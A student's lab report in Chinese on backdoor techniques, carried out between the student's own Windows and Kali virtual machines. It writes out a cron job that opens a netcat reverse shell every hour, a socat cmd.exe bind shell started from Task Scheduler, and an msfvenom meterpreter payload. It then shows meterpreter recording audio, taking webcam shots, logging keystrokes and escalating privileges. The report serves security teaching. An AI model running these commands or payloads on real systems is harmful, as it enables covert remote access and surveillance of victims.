20154312《网络对抗》Exp2 后门原理与实践

常见问题快速链接

常用后门工具实践

Windows获得Linux Shell

  1. Windows:使用ipconfig指令查看本机IP:

  1. 使用ncat.exe程序监听本机的4312端口:

  2. Kali:使用nc指令的-e选项反向连接Windows主机的4312端口:

  3. Windows下成功运行Kali的shell,运行ls指令如下:

Linux获得Windows Shell

  1. Kali:ifconfig查看IP:

  2. Kali使用nc指令监听4312端口:

  3. Windows:使用ncat.exe程序的-e选项项反向连接Kali主机的4312端口:

  4. Kali:运行Windows的cmd shell并输入命令执行:

使用nc传输数据

  1. Windows下监听4312端口:

  2. Kali下连接到Windows的4312端口:

  3. 建立之后进行文字传输,后面会说道用来传输后门:

实验内容

使用netcat获取主机操作Shell,cron启动

  1. 先在Windows系统下,监听4312端口:

  2. 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档:

    crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  3. crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

  4. 在最后一行添加59 * * * * /bin/netcat 192.168.15.131 4312 -e /bin/sh,意思是在每个小时的第59分钟反向连接Windows主机的4312端口,设置成59的原因是我当时的时间是11:55(这样过一会就能看到连接效果了)

  5. 当时间到了11:59时,此时已经获得了Kali的shell,可以输入指令

使用socat获取主机操作Shell, 任务计划启动

基础知识

  • socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程

  1. 在Windows系统下,打开控制面板下搜索任务计划就可以开始创建任务,填写任务名称后,新建一个触发器:

  2. 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4312 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口4312,同时把cmd.exe的stderr重定向到stdout上:

  3. 创建完成之后,可以windows+L锁定计算机让它执行,也可以像我一样直接右键运行它。

  4. 此时,在Kali环境下输入指令socat - tcp:192.168.15.131:43121,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4312端口,此时可以发现已经成功获得了一个cmd shell:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.15.132 LPORT=4312 -f exe > 20154312_backdoor.exe生成后门程序:

  2. 通过nc指令将生成的后门程序传送到Windows主机上(Linux需要输入的指令见上图):

  3. 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

  4. 设置完成后,执行监听:

  5. 打开Windows上的后门程序:

    20154312_backdoor.exe
    
  6. 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 使用record_mic指令截获一段音频:

  2. 使用webcam_snap指令可以使用摄像头进行拍照:

  1. 使用webcam stream指令可以使用摄像头进行录像:
    不好意思_忘记截图了,直接输命令就好.jpg

  2. 使用screenshot指令可以进行截屏:

  3. 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

  4. 先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

实验遇到的问题

Handler failed to bind to xxx.xxx.xx.xxx:xxxx

问题描述:使用exploit命令后产生的提示,无法通过这个端口进行监听。

解决方案:其实这个问题产生的原因是Kali本身的IP地址发生了变化

这是之前的IP Adr

这是现在的,很明显看到了IPAdr发生了变化,我们首先要更改msf的参数,将LHOST修改为当前的IPAdr。之后再修改我们生成的后门文件中的IPAdr就可以了。

使用Webcam_snap命令提示1411错误,无法正常拍照

问题描述:输入webcam_snap之后提示1411错误

问题解决:首先我想到的是windows系统里可能压根没有摄像头(我的win7也是虚拟机),因为摄像头这种USB设备不可能虚拟机和本机一起使用,所以我先检查一下设备管理器

果然没有摄像头设备,那我们就把摄像头的USB连接切到win7上面来

在虚拟机->可移动设备->Chiconyxxxxxxxxx这里选择连接主机

OK!我们可以看到有图像设备了。

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
    • 捆绑在软件中
    • 注入在可执行文件里
    • 注入在office文件的宏里面
  2. 例举你知道的后门如何启动起来(win及linux)的方式?
    • 更改名字伪装成其他程序
    • Linux可以使用cron启动
    • Windows下通过任务计划来启动后门程序
  3. Meterpreter有哪些给你映像深刻的功能?
    • 获取摄像头权限进行拍照
    • 获取麦克风权限进行录音
    • 提升用户权限!!!!!
  4. 如何发现自己有系统有没有被安装后门?
    • 杀毒软件进行扫描,没做过免杀的直接就能被扫出来
    • 观察进程以及端口,看看有没有异常

实验体会

这个实验做起来真的很有激情,一步一步地往前推,然后达到一些神奇的结果,真的挺有意思的。

不过,还是更期待免杀的实验,能达到一些更高层次的入侵。

posted @ 2018-03-24 14:03  Magic_Tsang  阅读(541)  评论(0编辑  收藏